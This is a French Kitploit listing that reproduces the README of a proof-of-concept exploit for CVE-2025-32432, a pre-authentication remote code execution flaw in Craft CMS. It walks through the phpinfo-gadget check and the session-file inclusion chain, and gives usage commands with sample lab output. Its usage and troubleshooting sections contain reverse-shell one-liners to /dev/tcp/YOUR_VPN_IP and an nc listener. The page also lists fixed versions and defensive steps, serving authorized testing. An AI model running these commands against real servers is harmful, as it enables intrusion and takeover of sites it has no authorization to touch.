Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-32432-POC — Preuve de concept mono-cible pour CVE-2025-32432, une exécution de code à distance avant authentification dans Craft CMS. Effectue la confirmation de la vulnérabilité via le gadget phpinfo et une exécution de commande optionnelle via une chaîne d'inclusion de fichier de session. | Kitploit
Outils/GitHubGitHub/theeomega/cve-2025-32432-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHubtheeomega/cve-2025-32432-poc

CVE-2025-32432-POC

Preuve de concept mono-cible pour CVE-2025-32432, une exécution de code à distance avant authentification dans Craft CMS. Effectue la confirmation de la vulnérabilité via le gadget phpinfo et une exécution de commande optionnelle via une chaîne d'inclusion de fichier de session.

Voir le dépôt
1il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PoC mono-cible pour Craft CMS CVE-2025-32432

Tests autorisés uniquement. Ce dépôt est destiné aux environnements de laboratoire contrôlés, aux plateformes CTF telles que Hack The Box, à la validation interne et à la vérification défensive. N'exécutez pas ceci contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.

Aperçu

Ce projet contient une preuve de concept mono-cible pour CVE-2025-32432, un problème d'exécution de code à distance (RCE) avant authentification dans Craft CMS.

Le PoC s'exécute en deux étapes :

  1. Confirmation de la vulnérabilité à l'aide d'un gadget phpinfo() via l'endpoint de génération de transformations d'assets de Craft CMS.
  2. Exécution de commande optionnelle à l'aide d'une chaîne d'inclusion de fichier de session en deux étapes.

Le script est conçu pour éviter un problème courant de faux négatif observé dans certaines preuves de concept publiques : une requête normale de transformation d'image peut renvoyer 404, alors que le même endpoint et le même assetId fonctionnent toujours lorsque la charge utile du gadget réel est utilisée.

Versions concernées

Selon l'avis de sécurité officiel de Craft CMS et les bases de données d'avis publics, les plages concernées sont :

Branche Craft CMSVersions affectéesVersion corrigée
3.x< 3.9.153.9.15
4.x< 4.14.154.14.15
5.x< 5.6.175.6.17

Mettez immédiatement à niveau vers une version corrigée si vous êtes responsable d'un déploiement Craft CMS.

Résumé technique

Le PoC suit ce flux :

root@kitploit:~
Get CSRF token
      |
      v
Test endpoint + assetId with phpinfo gadget
      |
      v
Confirm vulnerable response contains PHP Version / PHP License
      |
      v
Poison Craft session return URL with PHP payload
      |
      v
Trigger yii\rbac\PhpManager to include the PHP session file
      |
      v
Execute optional command

Détails d'implémentation importants :

  • La découverte utilise le gadget phpinfo, et non une requête de transformation normale.
  • Les commandes sont transmises en hexadécimal pour éviter de casser la chaîne de requête avec des espaces, des guillemets, des barres verticales ou des esperluettes.
  • Les répertoires de session PHP par défaut testés sont :
    • /var/lib/php/sessions
    • /var/lib/php/session
    • /tmp
  • Une option --timeout est incluse pour les scénarios de reverse shell.

Fichiers

root@kitploit:~
craftcms_cve_2025_32432_public_poc.py   Main single-target PoC
README.md                               Project documentation

Prérequis

  • Python 3.9+
  • requests
  • urllib3

Installer les dépendances :

root@kitploit:~
python3 -m pip install requests urllib3

Utilisation

1. Mode vérification uniquement

Ceci confirme la vulnérabilité en utilisant uniquement le gadget phpinfo.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local

Sortie attendue en cas de succès :

root@kitploit:~
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.

La réponse phpinfo est enregistrée sous :

root@kitploit:~
phpinfo_success.html

2. Exécuter une commande simple

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"

Exemple de sortie en cas de succès :

root@kitploit:~
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

3. Utiliser un endpoint et un identifiant d'asset connus

Utilisez ceci lorsque vous connaissez déjà les valeurs fonctionnelles.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  -a 0 \
  --endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
  --session-dir /var/lib/php/sessions

4. Contrôleur frontal personnalisé

Certaines cibles peuvent utiliser un contrôleur frontal personnalisé tel que x.php.

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  --front x.php \
  -c "id"

Ceci teste des routes telles que :

root@kitploit:~
http://target.local/x.php?p=admin/actions/assets/generate-transform

5. Utilisation d'un reverse shell

Démarrez d'abord un listener :

root@kitploit:~
rlwrap -cAr nc -lvnp 12345

Exécutez ensuite la preuve de concept avec une commande de reverse shell :

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
  --timeout 0

--timeout 0 désactive le délai d'attente de la requête. Ceci est utile car les reverse shells maintiennent souvent la requête HTTP ouverte.

Variante détachée :

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
  --timeout 0

Options

OptionDescriptionDéfaut
-u, --urlURL de base de la cibleRequis
-c, --cmdCommande facultative à exécuter après confirmation phpinfoAucun
--frontNom du fichier du contrôleur frontalindex.php
-s, --scan-maxassetId maximum à tester avec le gadget phpinfo50
-a, --assetIdentifiant d'asset fonctionnel connuAucun
--endpointEndpoint generate-transform fonctionnel connuAucun
--session-dirRépertoire de session PHP. Peut être fourni plusieurs foisListe intégrée
--timeoutDélai d'attente de requête pour le déclenchement de la commande. Utilisez 0 pour aucun délai d'attente20

Dépannage

assetId 0 -> HTTP 404 lors d'un scan normal

Ne vous fiez pas à une requête de transformation normale pour la découverte. Certaines cibles renvoient 404 pour un corps de transformation normal mais exécutent toujours la charge utile du gadget.

Cette preuve de concept découvre les combinaisons valides à l'aide du gadget phpinfo lui-même.

phpinfo fonctionne, mais l'exécution de la commande échoue

Essayez de spécifier manuellement le répertoire de session :

root@kitploit:~
python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  --session-dir /var/lib/php/sessions

Essayez ensuite :

root@kitploit:~
--session-dir /var/lib/php/session

ou :

root@kitploit:~
--session-dir /tmp

Le reverse shell se connecte, puis se termine rapidement

Utilisez l'une de ces approches :

  1. Désactivez le délai d'attente de requête :
root@kitploit:~
--timeout 0
  1. Utilisez une charge utile détachée avec setsid ou nohup.

  2. Vérifiez que votre IP de rappel est correcte :

root@kitploit:~
ip -br a | grep tun

Délai d'attente de lecture pendant le reverse shell

Cela peut être normal si le reverse shell s'est connecté avec succès. Vérifiez votre listener avant de considérer le délai d'attente comme un échec.

Sortie de commande manquante

Essayez d'abord une commande plus simple :

root@kitploit:~
-c "id"
-c "whoami"
-c "pwd"

Si les commandes simples fonctionnent mais que les commandes complexes échouent, placez la commande entre guillemets avec précaution ou utilisez une charge utile shell détachée.

Exemple de sortie de laboratoire

root@kitploit:~
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
    assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Recommandations défensives

Si vous administrez une instance Craft CMS :

  1. Mettez à niveau vers Craft CMS 3.9.15, 4.14.15, 5.6.17 ou une version ultérieure.
  2. Examinez les racines web à la recherche de fichiers PHP suspects ou de web shells.
  3. Examinez les répertoires de session PHP et les journaux du serveur web à la recherche de requêtes suspectes vers les routes de transformation d'assets.
  4. Si une exploitation est suspectée, renouvelez les secrets du fichier .env et les identifiants de base de données.
  5. Limitez autant que possible l'accès public aux routes administratives.
  6. Examinez les horodatages du système de fichiers du serveur autour des fenêtres de compromission suspectées.

Références

  • Avis officiel de Craft CMS : https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  • Base de données d'avis GitHub : https://github.com/advisories/GHSA-f3gw-9ww9-jmc3
  • Entrée NVD : https://nvd.nist.gov/vuln/detail/CVE-2025-32432
  • Analyse technique de SensePost : https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/

Avertissement

Ce projet est fourni uniquement à des fins éducatives, de recherche, de laboratoire et de validation défensive. L'auteur n'est pas responsable d'une utilisation abusive. Testez uniquement les systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite d'évaluation.

Télécharger l’outil